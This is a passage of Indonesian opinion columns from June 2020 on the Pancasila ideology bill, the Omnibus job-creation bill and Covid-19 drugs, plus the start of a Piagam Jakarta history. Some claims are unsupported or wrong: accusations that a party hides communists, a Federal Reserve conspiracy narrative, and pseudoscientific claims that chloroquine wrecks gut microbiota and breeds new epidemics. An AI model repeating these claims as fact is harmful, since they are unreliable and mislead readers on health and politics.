kubu politik. Ada politisi ‘sempak merah’ yang mengatakan “kok sekarang orang yang tadinya tak suka Pancasila tiba-tiba menjadi pancasilais”. Ada pula politisi ‘arus pendek’ (short circuit) yang bilang bahwa “isu PKI dimainkan oleh kadrun”, dll. Intinya, mereka memperlihatkan kegelisahan terhadap sila KYME di Pancasila. Mereka, tanpa sadar, membukakan sendiri jati diri mereka dalam kaitan dengan Pancasila. Padahal, selama hari ini mereka menuduh kalangan Islam yang ingin mengganti Pancasila sebagai dasar negara. So, hari ini Allah Ta’alaa sempurnakan kelicikan dan kemunafikan mereka. Dibukakan sejelas-jelasnya wajah mereka yang sesungguhnya. Bahwa mereka hanya berpura-pura membela Pancasila. Bahwa mereka sesungguhnya adalah orang-orang yang ingin menyingkirkan sila KYME. Untunglah ada RUU HIP. Rencana busuk mereka ketahuan. Potret wajah mereka dengan rekaman 20-pixel dan disertai ‘caption’ yang bertuliskan “Kami Pejuang Anti-Ketuhanan”, kini terpampang di halaman depan markas partai mereka. Anda sudah tahu siapa-siapa mereka. Jadi, itulah hikmah yang terungkap. Itulah selubung kejahatan yang tersingkap. Yang membuat para dalang musuh Pancasila itu tergemap-gagap.[] 25 Juni 2020(Penulis Wartawan Senior)

Presiden Dilarang Bilang “Tidak Tahu Adanya RUU HIP”

by M Rizal Fadillah Jakarta FNN – Rabu (24/06). PDIP melalui Fraksi di DPR telah menjadi pengusung RUU HIP yang beraroma komunisme. Kenyataan ini dapat menjadi pintu pembuka untuk mengusut asal-muasal munculnya gagasan dan pembahasan. Penunjukan Rieke Diah Pitaloka sebagai Ketua Panja wajar dicurigai oleh masyarakat khususnya umat Islam. Bisa dimulai dari Rieke Diah Pitaloka. Ketuk palu Ketua DPR RI Puan Maharani yang tergesa-gesa semakin mayakinkan dugaan ada rekayasa untuk menggoalkan RUU HIP. Cukup menjadi asalan kalau ada keinginan untuk membuka celah bagi pengembangan faham komunisme di Indonesia. Ketika RUU diusulkan oleh Fraksi atau anggota Fraksi, tentu dilengkapi oleh naskah akademik dan draft RUU. Siapa penyusun draft dan naskah akademik? Ini soal penting untuk diketahui masyarakat, khususnya umat Islam. Sebab dari sanalah situasi gaduh ini dimulai . PDIP sebaiknya mengklarifikasi proses yang terjadi di internalnya. PDIP harus membersihkan diri dari tuduhan sebagai partai sarang atau tempat sembunyi para kader-kader komunis. Klarifikasi itu menjadi sangat penting dan strategis untuk membangun kembali kepercayaan kepada PDIP. Jika tidak, maka menjadi wajar bila ada yang memberi stempel PDIP sebagai penista ideologi Pancasila. Kemungkinan tumbulnya saling curiga antara masyarakat yang anti faham komunis, khusunya umat Islam dengan PDIP akan berlangsung untuk waktu yang panjang. Ini jangan sampai terjadi. Publik berhak menilai dengan obyektif untuk kemudian memaklumi, memaafkan, atau mendorong ke arah proses hukum yang terbuka dan adil. Yang jelas mengembangkan faham komunisme/marxisme-leninisme adalah perbuatan terlarang. Ideologi tidak boleh ditunggangi oleh kepentingan politik pragmatic. Apalagi tindakan kriminal. Kualifikasinya adalah makar terhadap negara. PKI dan komunisme menjadi musuh seluruh rakyat Indonesia. Bukan sekedar musuhnya "kadrun" dalam sebutan para "doking" si kodok peking. Untuk itu, tidak boleh dibuka sedikitpun celah untuk leluasanya para kader komunis bergerak atau menempel di institusi strategis, termasuk partai politik. Untuk maksud tersebut, pengusutan mesti tuntas dilakukan. Sebagai Kepala Negara dan Kepala Pemerintahan saatnya Presiden menjadi "komandan" dari pengawasan dan pembersihan berbagai institusi dari permainan dan perjuangan kaum komunis yang terlarang itu. Presiden tidak boleh sembunyi di “gorong-gorong”. Presiden juga tidak boleh terus "semedi" di dalam gua istana untuk membiarkan apa yang diresahkan masyarakat. Presiden tidak boleh bilang tak bahwa Presiden tidak tau adanya RUU HIP. Presiden wajib untuk mengetahui adanya konseptor dan inisiator RUU yang mengancam eksistensi Pancasila. Sebab Presiden punya perangkat pendukung sangat kuat yang telah disediakan negara untuk mengawasi faham komunis terlarang ini. Presiden punya Badan Intelijen Negara (BIN) yang mengkordinasi intelijen TNI, intelijen Polisi dan intelijen Kejaksaan. Sehingga Presiden wajib tau ancaman sekecil apapun terhadap ideologi negara Pancasila. Preiden Jokowi itu memimpin koalisi Partai Politik paling besar yang membahas RUU HIP di Badan Legislasi (Baleg) DPR menjadi Prolegnas prioritas. Kaslisi itu adalah PDPIP, Golkar, Gerindra, Nasdem, PKB dan PPP. Paling sedikit ada tiga Ketua Umum Partai koalisi Presiden Jokowi yang sekarang menjadi menteri, yaitu Prabowo Subianto, Airlangga Hartarto dan Suharso Monoarpa. Jika Presiden Jokowi menyatakan bahwa sama sekali tidak mengetahui soal RUU HIP, karena hal itu adalah inisiatif dewan, tentu tak bisa diterima. Usulan diajukan oleh PDIP dan Menkumham "pembantu dekat Presiden" Yasonna Laoly adalah kader PDIP. Presiden juga adalah "petugas partai" PDIP. Jadi mustahil Presiden tidak diinformasikan disini. Dulu di masa Orde Lama, Presiden Soekarno dinilai membiarkan perkembangan komunisme. Akibatnya ada pihak yang menuduhnya terlibat. Sekurang-kurangnya mengetahui terjadinya percobaan kudeta oleh PKI pada bulan September 1965. Nah, Presiden Jokowi sekarang dituntut untuk lebih jelas dan tegas bersikap soal komunisme. Rakyat khawatir terhadap agenda dan upaya sistematik kader komunis. RUU HIP menjadi bola panas. Masyarakat meminta pencabutan atau penghentian proses pembahasan. Bukan menunda atau merevisi. Pemerintah mengambangkan dengan bahasa "menunda". Ketika bola RUU ada di tangan pemerintah. Sebenarnya pilihan hanya dua, yaitu mengirim tim untuk pembahasan bersama dengan DPR atau menyatakan tidak akan melakukan pembahasan. Tak ada nomenklatur "menunda". Sudahi kegaduhan ini. Buang fikiran otak-atik RUU HIP. Lempar saja jauh-jauh RUU yang bermuatan pasal virus perusak Pancasila tersebut. Usut perancang dan perencana. Beri sanksi politik. Rakyat sedang menunggu proses hukum. Sebab ini adalah peristiwa kejahatan politik yang tidak boleh diulangi. Sekali tidak boleh diulangi. Penulis adalah Pemerhati Politik dan Kebangsaan.

RUU Omnibus, Kepentingan Korporasi Culas dan Licik

by Dr. Margarito Kamis SH. M.hum. Jakarta FNN – Rabu (24/06). DPR dan Presiden telah sukses besar menjadikan UU Minerba. Sukses berikutnya juga sedang menanti. Sukses berikut itu adalah menggolkan RUU Omnibus Cipta Lapangan Kerja (RUU Cilaka), yang sekarang berubah menjadi RUU Omnibus Cipta Kerja menjadi undang-undang. Sekalipun berbeda dalam cakupan isu, konstelasi politik kedua RUU itu menarik. Politik kedua isu itu tidak bisa, dengan alasan apapun, dilepaskan dari mimpi akselerasi ekonomi nasional. Ini mimpi paling indah untuk korporasi, baik korporasi global maupun dalam negeri. Konteks politik itu menarik perhatian Bank Dunia terhadap RUU konyol ini. Paradoksnya kedua UU terlihat tidak cukup mengasyikan bagi kalangan di dalam negeri. Itu jelas hambatan. Tentu harus diminimalkan. Caranya, maksimalkan kampanye dan propaganda bahwa RUU akan membuat UMKM berjaya. Manis Kulitnya Logiskah penilaian Bank Dunia itu? Bank dunia memang bukan World Trade Organization (WTO), yang berada diposisi terdepan memprakarsai UU yang bersifat Omnibus. Tetapi perbedaan itu hanya penting dalam nama, tidak dalam fungsi materilnya. Pada aspek materil, keduanya sama-sama bekerja meliberalisasi tatanan ekonomi dunia. Liberalisasi bukan imprialisasi. Liberalisasi dikonsolidasi secara konseptual sebagai gagasan penyebaran keadilan dan kesejahteraan. Liberalisasi, dalam konteks itu memang bukan dominasi, apalagi imprialisasi. Teorinya begitu. Konsep yang dirancang oleh korporasi, yang dalam perkembangannya direalisasikan oleh pemerintah. Begitulah yang terjadi, terutama Amerika, yang secara empiris justru menyajikan kenyataan berbeda. Kenyataan empiris memperlihatkan korporasi-korporasi di Amerika dan Inggris, yang muncul sebagai konseptornya, begitu cerdas. Dimana letak cerdasnya? Negara-negara yang kalah di perang dunia pertama dan kedua, yang semuanya memble itu, tidak bisa menawarkan apapun, untuk bersaing selain sumberdaya alamnya. Negara-negara miskin, akhirnya menemukan kenyataan. Meraka harus bekerja dalam skema korporasi. Merumitkan perizinan, sama dengan melarat. Investasi tidak masuk. Mau tidak mau negara-negara miskin harus memanjakan, dalam makna bekerja sesuai skema yang yang diinginkan korporasi itu. Memudahkan perizinan untuk usaha. Apapun juga, hanya itulah yang menjadi jalan terdekat yang tersedia. Liberalisasi jadinya menempatkan negara-negara itu ke dalam cengkeraman korporasi besar. Begitulah adanya. Ini hampir tak bisa disangkal. Kenyataan itu, dikenali baik oleh China. Daripada menantang liberalisasi gila-gilaan itu, yang hasilnya bisa nekat, lebih baik liberalisasi juga ekonomi dalam negerinya. China komunis itu pun, akhirnya berada di jalur itu. Mereka, dalam rangka memenangkan pertempuran perebutan investor, bergerak maju sesuai kaidah kapitalisme. Hukumnya harus andal. Sistem peradilan pun harus andal. Ini diketahui betul sebagai dua hal yang sama pentingnya dengan kemudahan memperoleh izin. Vietnam juga mengambil rute ini. Rute ini harus diambil setelah dipaksa dengan cara manis oleh WTO. Ikut aturan main global atau tersingkir dari pertarungan global. Begitu gula-gula dari WTO. Vietnam memilih yan terakhir. Mereka akhirnya menyerahkan politik hukum ekonominya pada garis politik WTO. Apakah Indonesia juga berada dalam spektrum itu? Itu soalnya. Tidak ada data terferifikasi yang bisa diandalkan untuk sampai pada pernyataan kongklusif itu. Tetapi apapun itu, pemudahan perizinan untuk mengakselerasi investasi, harus diambil. Inovasi dalam konteks ini harus terus bekerja. Dan ini bukan perkara baru untuk Indonesia. Masalahnya mengapa pemerintah terlihat terus meyakinkan khalayak bahwa UMKM akan berjaya dengan RUU ini? Apakah level kerumitan UMKM sama dengan korporasi besar? Apa rumitnya usaha, yang maaf jualan warteg, nasi goreng di lorong-lorong, dengan gerobak dorong? Sejarah kemuncullan rezim perizinan modern, jelas bukan sejarah UMKM. Sejarah rezim peruizinan adalah sejarah korporasi. Inggris mengawalinya pada awal ke-17. East India Company, Royal African Campany dan Virginia Company. Semuanya dapat beroperasi setelah diizinkan oleh Raja. Apakah masalah permodalan UMKM disebabkan sepenuhnya oleh UU? Itukah masalah terbesar dan terberat mereka? Kalau masalahnya ada pada UU, lalu untuk apa UU Nomor 20 Tahun 2008 Tentang UMKM? Sungguh tidak masuk akal menandai hukum sebagai masalah terbesar dan terberat UMKM. Masalah UMKM terletak pada orientasi politik ekonomi nasional yang tidak akrab pada mereka. Perizinan, cukup logis dikemukakan. Karena tidak ada dalam daftar hambatan usaha para pelaku usaha mikro dan kecil. Perizinan justru berada urutan pertama. Setidaknya pada urutan signifikan korporasi besar. Masalah usaha mikro dan kecil adalah keberpihakan lebih pada mereka. Bukan perizinan. Kekeliruan Konsep Senjata liberalisai tidak pernah lain selain investasi, kerjasama, bantuan dalam berbagai macam bentuk, serta utang. Senjata konvensional diletakan di ujung negosiasi. Digunakan setelah negosiasi dan intrumen lunak lainnya tak membuahkan hasil. Cara inilah yang menandai dunia usaha hingga sekarang. World Bank dan WTO cukup sering bersuara khas Amerika, terus berada di depan dalam usaha ini. Hebatnya, gema propaganda liberalisasi itu telah mengakibatkan setiap tindakan proteksi negara-negara itu, tak terlihat persis sebagai proteksi. Pola ini dipegang secara konsisten oleh Amerika. Kongres mereka terus menerus mencermati setiap perkembangan lingkungan ini. Hambatan tarif, tenaga ketrja, perizinan, dan lainnya yang diidetifikasi ada pada satu negara dan merugikan Amerika, segera direspon Kongres dengan membuat UU. Isinya, inilah yang menarik. Presiden, diberi otorisasi untuk mengurus semua urusan itu. Begitulah ciri, misalnya Omnibus Trade and Competitivenes Act 1988. Omnibus ini meliputi, cara menyelesaikan masalah dalam perdagangan antara Amerika dengan negara lain. Kordinasi perdagangan, perdagangan yang tidak fair, hak pekerja, hambatan investasi, termasuk perizinan dan mereduksi tariff. Semuanya menjadi materi juatan Omnibus Trade dan Competitivenes Act mereka. Dunia dagang ternyata berubah cepat. Ominibus Trade and Competitivenes segera kehilangan daya tariknya. Akhirnya, Amerika mengubah secara parsial Omnibus Trade and Competitivenes Act 1988 itu. Ini terjadi tahun 2002, dengan lahir Trade Act 2002. Omnibus diubah hanya dengan Act, yang tidak omnibus. Apakah Omnibus yang sedang dirancang memiliki tipikal Omnibus Trade and Competitivenes Act 1988 itu? Disitu soalnya. Kalau tidak menyodorkan inovasi sebagai argument, harus dikatakan telah terjadi salah tiru. Dimana letak salah tirunya? Ragam isu yang diatur di dalamnya, didedikasikan untuk melayani investor, tentu termasuk asing. Sementara Omnibus Amerika justru memproteksi industri dalam negeri mereka. Yang dituju dari Omnibus mereka adalah liberalisasi dunia usaha di luar Amerika. Konsekuensinya menampilkan isu UMKM, sebagai kehebatan lain RUU Omnibus ini, terasa lucu selucu-lucunya. Malah terasa sebagai propaganda asal-asalan dan murahan. Tetapi seasal apapun, harus diakui konstelasi politik memaksa UMKM disajikan sebagai gula gula demi menggolkan RUU ini. Beralasankah semua soal yang disajikan di atas sebagai parameter keberpihakan RUU ini terhadap korporasi besar? UU Minerba terbaru, beralasan disajikan wujud keberpihakan RUU ini pada Korporasi. Semasa pembahasan UU itu, tak terdengar suara kritis korporasi. Sejarah politik pembentukan UU bidang ekonomi memperlihatkan adanya koneksi timbal balik korpoprasi dengan kemunculan RUU itu. Koneksi ini tak tersangkal. Bahkan ini telah menjadi tabiat dasar ekonomi merkantilis yang terbungkus kapitalisme. Merkantilisme tampil dalam banyak wajah. Ragamnya meliputi kebijakan praktis. Juga melalui UU. Menempatkan orang-orang mereka pada posisi kunci pemerintah, bahkan menjadikan orang mereka presiden, juga tipikal korporasi licik dan culas. Korporasi Yang Berjaya Mereka, sembari bersandar pada perspektif Walter Lippman, memenuhi ruang debat masyarakat dengan beragam isu. Untuk meyakinkan masyarakat? Tidak juga. Sama sekali tidak. Khalayak menurut identifikasi Walter Lippman, jurnalis paling top, juga penasihat Presiden Woodrow Wilson, dan salah satu arsitek butir-butir perjanjian Fersailes, tidak bisa fokus. Tidak fokus, sama sekali tidak berarti khayalak tidak tahu ada masalah. Justru tahu sedikit-sedikit itulah, maka propagandis harus memborbadir, memperkaya mereka dengan infomasi, apapun itu. Semangat penyampaian informasi, bukan meyakinkan, tetapi untuk mengelabui, deception. Oposan dibiarkan bicara sebisa mereka. Seburuk apapun pernyatan oposan, biarkan saja. Yang penting mereka telah bicara. Kehehadiran oposan di ruang public, dengan sendirinya menghasilkan legitimasi terhadap RUU itu. Mungkin tak terbangun utuh, tetapi tetap saja legitimasi telah muncul. Cara ini digunakan, sekadar sebagai ilustrasi, kelompok Wall Street menggolkan The Federal Reserrve Act. Sejarah usaha menggolkan UU ini sangat menarik dilihat dari sudut politik pembentukan UU. Walter Bagehot, ekonom yang faham betul dengan karakter Bank Of England, yang mau dijadikan rujukan pembentukan The Fed’s Amerika, mengambil sudut berseberangan dengan inisiator The Federal Reserve. Apa yang terjadi? Bagehot yang beroposisi itu, tetap dihadirkan dalam pembahasan gagasan The federal Reserve. Cerdas, pada saat yang sama inisiator juga menghadirkan lawan tandingnya. Paul Warburg yang telah bulat inigin membentuk Bank Sentral, bersama dengan Spragus yang sama ekspektasinya, dihadirkan. Keduanya menyanggah habis level rasionalitas gagasan Bagehot. Gagasan Bagehot akhirnya terdelegitimasi dengan sendirinya. Licin sekali cara kelompok kecil bankers wall street ini. Hendak mengendalikan negara untuk kepentingan mereka. Tetapi usaha mereka dibiayai oleh negara yang hendak dikendalikan itu. Caranya? Merangkak. Pertama ciptakan krisis. Itulah krisis tahun ekonomi tahun 1907. Hebat mereka. Sangat detail perencanaannya. Begitu krisis terjadi, mereka segera melompak ke cara kedua. Cara kedua ini dibantuk ilmuan. Woodrow Wilson, gubernur New Jersey, dan mantan presiden Princeton University, yang telah terjalin erat dengan mereka, segera angkat bicara. Menurutnya untuk menghentikan, setidaknya mencegah resesi sejenis dikemudian hari, diperlukan satu Komisi. Komisi ini bertugas khusus mengindentifikasi penyebab dan jalan keluarnya. Gagasan Wilson direspon oleh Presiden Theodore Rosevelt. Tahun 1908 mulai lah cara kedua bekerja. Rosevelt membentuk Komisi dimaksud. Komisi bentukannya diketuai Nelson Aldrice, senator Republik, dan dibantu oleh sejumlah orang. Mereka adalah Shelton, asistennya Nelason, A. Piatt Andrew, asisten Menteri Keuangan, Frank Fenderlipp, Presiden National City Bank, Hendry P. Davison, senior partner JP Morgan Company, Charles D. Norton, presiden first National Bank Of New York, Benjamin Strong, dan Paul Warburg. Mereka yang merencanakan adanya Ban Sentral. Komisi segera bekerja. Mereka ke Eropa mempelajari sistem perbankan Eropa. Pekerjaan ini dibiayai, tidak dengan uang mereka, tetapi negara. Total biaya yang digunakan kelompok ini sebesar U$ 300.000 dollar. Kembali dari Eropa. Kelompok ini berkumpul di Jackyl Island, sebuah klub beberapa bankers. Tidak hanya jauh jaraknya, tetapi tempat ini memiliki tingkat privasi tinggi. Di Jackyl Island inilah The Federal Reserve Act disiapkan rancangannya. Dalam Secret of The Federal Reserve, Eustace Mullin, menulis segera setelah selesai draft The Federal Reserve dirancang, mereka kembali ke New York. Lalu segera muncul ke tengah masyarakat untuk menyampaikan apa yang dikenal dengan “Aldrich Plan”. Hebat, Princeton University, Harvard University, dan University of Chicago semuanya berada dalam genggaman mereka. Tiga Universitas top ini digunakan mempropagandakan point-poin penting draft ini. Point propagandanya, Amerika membutuhkan satu Bank Sentral. Untuk merealisasikannya, Paul Warburg, kelak menjadi Gubenur pertama The Fed’s, mengusulkan pembentukan apa yang dikenal dengan Citizen League, yang belakangan nama ini berubah menjadi National Citizen League. Dua profesor top menangani pekerjaan ini. Keduanya adalah Sprague dari Harvard, dan J. Laurence Laughlin dari University of Chigaco. Propaganda pun berjalan dalam banyak bentuk. Seminar adalah salah satunya. Canggih cara mengelabuinya. Tahu ada ketakutan Bank Sentral, mereka menggunakan The Federal Reserve. Tentu sekadar mengelabui masyarakat. Propaganda ini menghabiskan dana sebesar U$ 5 miliar dolar. Hebat, walau draftnya berasal Jackyl Island di bawah komando Nelson Alrdirce, senator republik, tetapi tanggal 15 Desember 1911, Amerika segera tahu bahwa Carter Glass, Senator Demokrat, mengajukan Bill itu ke Senat untuk dibahas. Dialah pemrakarsanya. Menariknya pilpes 1912 mengeluarkan angka Woodrow Wilson memperoleh 409 suara, dan Rosevelt 169 suara. Sedangkan William Howard Taft, presiden incumben, yang anti Bak Sentral, berada di juru kunci dengan 15 suara. Tesis Paul Warburg “money is commodity dan central bank was a favorite play the money creators” begitu yang dicatat Mullins, tercapai dengan sudah. Tetapi masyarakat, begitu Mullins mengitup pandangan Warburg, tidak akan tahu bahwa sistem itu penciptaan uang. Masyakat malah melihat dan percaya penciptaan itu terjadi secara natural. Rakyat Amerika akhirnya terperangkap di dalamnya. Begitulah korporasi culas dan licik bekerja. Korporasi pula yang berkibar segera setelah RUU Omnibus Cipta Kerja menjadi UU? Menyepelekannya, boleh saja. Tetapi mempertimbangkannya lebih masuk akal. Dalam konteks itu, UMKM cukup layak dipertimbangkan tidak lebih dari sekadar gula-gula politik RUU ini. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Komsumsi Dexamethasone atau Chloroquine, Pasien Covid-19 di Ambang Bahaya!

Oleh Mochamad Toha Jakarta, FNN - Entah apa yang ada di benak pikiran para pejabat Organisasi Kesehatan Dunia (WHO) hari-hari ini. Penggunaan obat hydroxychloroquine atau chloroquine yang sebelumnya dilarang dihentikan, karena alasan keamanan pada pasien Corona atau Covid-19, kini dicabut. Hidroksiklorokuin adalah obat quinoline yang digunakan untuk mengobati atau mencegah penyakit malaria, yaitu penyakit yang disebabkan parasit yang masuk ke tubuh melalui gigitan nyamuk. Mengutip Medlineplus, obat ini juga ditujukan untuk anti-rematik. Bisa digunakan untuk mengobati gejala rheumatoid arthritis, untuk mengurangi rasa sakit dan pembengkakan pada radang sendi. Selain itu, obat ini juga bisa mencegah dan mengobati discoid lupus erythematosus (DLE) yaitu suatu kondisi peradangan kronis pada kulit. Dan, systemic lupus erythematosus (SLE) kondisi peradangan kronis pada tubuh. Sebelumnya pemakaian dan uji coba hidroksiklorokuin dan klorokuin itu sempat dihentikan WHO karena alasan keamanan pada pasien Corona. Sebuah studi di The Lancet menunjukkan pasien Corona yang diberi obat malaria hidroksiklorokuin dan klorokuin alami gangguan jantung hingga tingkatkan risiko kematian. Namun, kini studi berjudul “Hydroxychloroquine or chloroquine with or without a macrolide for treatment of Covid-19: a multinational registry analysis” itu akhirnya ditarik. Alasannya karena peninjau independen tersebut tak bisa mengakses data yang digunakan untuk analisis sehingga validitasnya diragukan. Indonesia sendiri hingga saat ini masih menggunakan klorokuin untuk pasien Corona seperti di Rumah Sakit Darurat Covid-19 Wisma Atlet. Hingga Jumat (5/6/2020), setidaknya sudah lebih dari 3 ribu pasien yang dilaporkan sembuh dan sudah dipulangkan. “Total kami rawat 4.470 pasien (virus Corona Covid-19). Hingga saat ini yang sudah sembuh totalnya 3.325 pasien,” jelas Arief Riadi, Ketua Tim Medis Covid-19 Perhimpunan Dokter Paru Indonesia (PDPI) melalui pesan singkat kepada Detikcom dan ditulis Sabtu (6/6/2020). Arief menjelaskan, seluruh pasien Corona di RS Wisma Atlet diberikan klorokuin. Pemberian klorokuin kepada seluruh pasien Corona di Wisma Atlet tidak memiliki efek samping serius atau berbahaya. “Semua pasien di RS Wisma Atlet pakai klorokuin. Alhamdulillah tidak ada (efek serius dari penggunaan klorokuin),” lanjutnya. Menurut Arief Riadi, persentase kesembuhan dari penggunaan klorokuin masih dalam tahap penelitian. Namun, untuk saat ini dapat dilihat dari banyaknya pasien sembuh Corona yang sudah dipulangkan. “Masih dalam penelitian untuk tingkat kesembuhannya. Tetapi dari data di atas jumlah yang pulang (pasien sembuh menjalani perawatan termasuk diberi klorokuin),” ungkapnya. Ternyata, satu dari lima kombinasi obat yang efektif melawan virus Corona atau Covid-19 yang diumumkan Gugus Tugas Percepatan Penanganan Covid-19 pada Jum’at (12/6/2020), efeknya bisa merusak mukosa lambung, yang diikuti iritasi lambung. Bukti nyata, adanya kerusakan mikrobioma lambung. Klorokuin itu obat malaria – parasit – bukan obat virus. Jadi, pemakaian antivirus, jelas merusak keseimbangan mikroorganisme. Pemakaian klorokuin pada lambung lebih dahsyat lagi efek sampingnya. Klorokuin ini akan menekan keberadaan dan membunuh virus-virus target. Sehingga, efeknya akan terjadi ketidak seimbangan ekosistem mikro dan akan berdampak pada ekosistem makro tentunya. Saat keseimbangan tersebut tidak terjadi, maka nantinya akan ada mikroorganisme lain yang akan “datang” untuk menyeimbangkan ekosistem. Secara konvensional akan disebut “wabah baru”. Melansir dari Farmasetika.com, WHO (World Health Organization) menyambut hasil awal tentang penggunaan Dexamethasone (deksametason) dalam mengobati pasien Corona atau Covid-19 yang sakit kritis dalam rilis resminya, Selasa (16/6/2020). Hasil uji klinis awal dari Inggris menunjukkan, obat golongan kortikosteroid deksametason dapat menyelamatkan nyawa bagi pasien yang sakit kritis dengan Covid-19. Untuk pasien yang menggunakan ventilator, pengobatan ini terbukti mengurangi kematian sekitar sepertiga, dan untuk pasien yang hanya membutuhkan oksigen, mortalitas dipotong sekitar seperlima, menurut temuan awal yang dibagikan kepada WHO. Manfaat hanya terlihat pada pasien sakit parah dengan Covid-19, dan tidak diamati pada pasien dengan penyakit ringan. “Ini adalah pengobatan pertama yang ditunjukkan untuk mengurangi angka kematian pada pasien dengan COVID-19 yang membutuhkan dukungan oksigen atau ventilator,” kata Dr Tedros Adhanom Ghebreyesus, Direktur Jenderal WHO di website resminya (16/6/2020). “Ini berita bagus dan saya mengucapkan selamat kepada Pemerintah Inggris, Universitas Oxford, banyak rumah sakit dan pasien di Inggris yang telah berkontribusi pada terobosan ilmiah yang menyelamatkan jiwa ini,” lanjutnya. Dexamethasone adalah steroid yang telah digunakan sejak 1960-an untuk mengurangi peradangan dalam berbagai kondisi, termasuk gangguan peradangan dan kanker tertentu. Telah terdaftar dalam Daftar Model Obat Esensial WHO sejak 1977 dalam berbagai formulasi, dan saat ini tidak memiliki paten dan tersedia dengan harga terjangkau di sebagian besar negara. Para peneliti dan WHO berbagi wawasan awal tentang hasil uji coba. Dan WHO menantikan analisis data lengkap dalam beberapa hari mendatang. WHO akan mengoordinasikan meta-analisis untuk meningkatkan pemahaman kita secara keseluruhan tentang intervensi ini. “Panduan klinis WHO akan diperbarui untuk mencerminkan bagaimana dan kapan obat harus digunakan dalam Covid-19,” ungkapnya. Beerita ini berkembang dari pertemuan Cetak Biru Penelitian dan Pengembangan WHO, di Jenewa pada pertengahan Februari guna mempercepat teknologi kesehatan untuk Covid-19, di mana penelitian lebih lanjut tentang penggunaan steroid disorot sebagai prioritas. Ini memperkuat pentingnya uji coba kontrol acak besar yang menghasilkan bukti yang bisa ditindaklanjuti. WHO akan terus bekerja sama dengan semua mitra untuk mengembangkan lebih lanjut terapi penyelamat dan vaksin untuk mengatasi Covid-19 termasuk di bawah payung Access to Covid-19 Tools Accelerator. Meski demikian, beberapa ahli farmakologi menyebut obat yang belakangan dijuluki “obat dewa” ini memiliki banyak efek samping sehingga tidak bisa digunakan sembarangan. Seperti dilansir SuaraJogja.id, Jum'at (19 Juni 2020 | 12:00 WIB), menurut Ketua Program Studi Profesi Apoteker Fakultas Farmasi UGM Jogjakarta, Ika Puspita Sari, obat jenis steroid ini biasa diberikan untuk pasien inflamasi berat dan auto imun semisal lupus. “Selama ini untuk asma dan gatal-gatal juga, tapi semakin dibatasi penggunaannya karena ada yang lebih ringan efek sampingnya,” jelasnya seperti dilansir Harianjogja.com, Jumat (19/6/2020). Ika menyebut sejumlah efek samping yang dihasilkan obat ini di antaranya osteoporosis, peningkatan kadar gula, glukoma, pendarahan lambung, insomnia dan lainnya. Sebab itu penggunaan obat ini semestinya diawasi dokter. “Tapi yang terjadi di warung-warung sering bisa dijual bebas karena masyarakat sakit gigi, punggung pegal, kecetit dan sebagainya bisa dengan deksametason ini, tanpa menyadari efek sampingnya,” ungkap Ika. Karena bisa dipakai untuk segala inflamasi atau radang, deksametason pun mendapat julukan “obat dewa”. Di Jojga, penyembuhan Covid-19 belum memakai Dexamethasone, melainkan metil prednisolone, masih sejenis steroid namun memiliki efek samping lebih ringan. Guru Besar Farmakologi UGM, Zullies Ikawati, mengatakan Dexamethasone memang bisa digunakan pada pasien Covid-19 parah. Pada pasien dengan kriteria ini, umumnya telah terjadi Acute Respiratory Distress Syndrome (ARDS) dan peradangan berat dengan terjadinya badai sitokin yang meningkatkan risiko kematian. Dexamethasone berfungsi menekan badai sitokin sehingga bisa menurunkan risiko kematian. Penggunaan jangka pendek seperti pada Covid-19 tersebut umumnya tak menyebabkan efek samping yang berarti, di mana manfaatnya lebih besar ketimbang risikonya. Tapi, dengan penggunaan jangka panjang obat ini bisa menimbulkan berbagai efek samping termasuk penurunan imun tubuh. Makanya, obat ini tidak digunakan untuk pasien Covid-19 ringan apalagi untuk pencegahan Covid-19. “Bukan untuk pencegahan karena justru menurunkan sistem imun dan menjadi lebih rentan pada penularan Covid-19,” ungkapnya. Penulis Wartawan Senior.

Piagam Jakarta dan Pancasila Itu 22 Juni (Bag. Pertama )

by Furqan Jurdi Jakarta FNN – Senin (22/06). Tanda-tanda kekalahan Jepang dalam Perang Pasifik mulai muncul dan kelihatan. Kenyataan ini akhirnya memaksa perdana Menteri Jepang Jenderal Kuniaki Koiso, pada tanggal 7 September 1944 mengumumkan bahwa Indonesia akan dimerdekakan. Namun kemerdekaan itu sesudah tercapai kemenangan akhir dalam perang Asia Timur Raya. Harapannya, dengan cara itu, Jepang berharap tentara Sekutu akan disambut oleh rakyat Indonesia untuk memperkuat kekuasaan Jepang di Asia. Untuk itu Jepang segera dibentuk badan yang bertugas menyiapkan segala hal-ihwal yang berkaitan dengan kemerdekaan Indonesia. Maka pada tanggal 1 Maret 1945 pimpinan pemerintah pendudukan militer Jepang di Jawa, Jenderal Kumakichi Harada, mengumumkan dibentuknya badan khusus yang menyelididki usaha-usaha persiapan kemerdekaan Indonesia. Badan itu dinamakan “Badan Penyelidik Usaha-Usaha Persiapan Kemerdekaan” (BPUPK). Dalam dalam bahasa Jepang namanya “Dokuritsu Junbi Chosakai”. Tanggal 1 Maret 1945, bertepatan dengan ulang tahun Kaisar Jepang, Kaisar Hirohit dibentuklah BPUPK. Dr. Kanjeng Raden Tumenggung (K.R.T.) Radjiman Wedyodiningrat, dari golongan nasionalis tua, ditunjuk menjadi ketua BPUPK dengan didampingi oleh dua orang ketua muda (wakil ketua), yaitu Raden Pandji Soeroso dan Ichibangase Yosio (Jepang). BPUPK beranggotakan 69 orang. Terdiri dari 62 orang anggota aktif adalah tokoh utama pergerakan nasional Indonesia dari semua daerah dan aliran. Selain itu, 7 orang anggota istimewa adalah perwakilan pemerintah pendudukan militer Jepang. Tetapi wakil dari bangsa Jepang ini tidak mempunyai hak suara. Keanggotaan Jepang di BPUPKI hanya pasif. Mereka hanya hadir dalam sidang BPUPK sebagai pengamat. Perdebatan Filosofiche Groundslaag Pada tanggal 28 Mei 1945 BPUPK memulai sidangnya yang pertama. Ketika sidang dimulai, dr. Radjiman bertanya kepada anggota BPUPK, “apakah yang akan kita jadikan sebagai Filosofiche Groundslaag Indonesia Merdeka”. Maka muncullah yang memberikan tanggapan M. Yamin tanggal 29 Mei. Keesokan harinya Supomo mengusulkan dasar negara. Pidato Tanggal 1 Juni yang disampaikan oleh Soekarno (Bung Karno) begitu sangat dahsyat. Bung Karno mengusulkan falsafah dasar itu yang mula-mula Pancasila atas saran seorang teman ahli bahasa. Lima sila diperas lagi menjadi Tri Sila dan diperas lagi menjadi Eka Sila atau Gotong Royong. Soekarno berupaya mengkonsepkan pikirannya tentang Nasionalisme, Islamisme dan Marxisme sebagai sebuah dasar negara Indonesia Merdeka. Tulisan Soekarno Tahun 1924 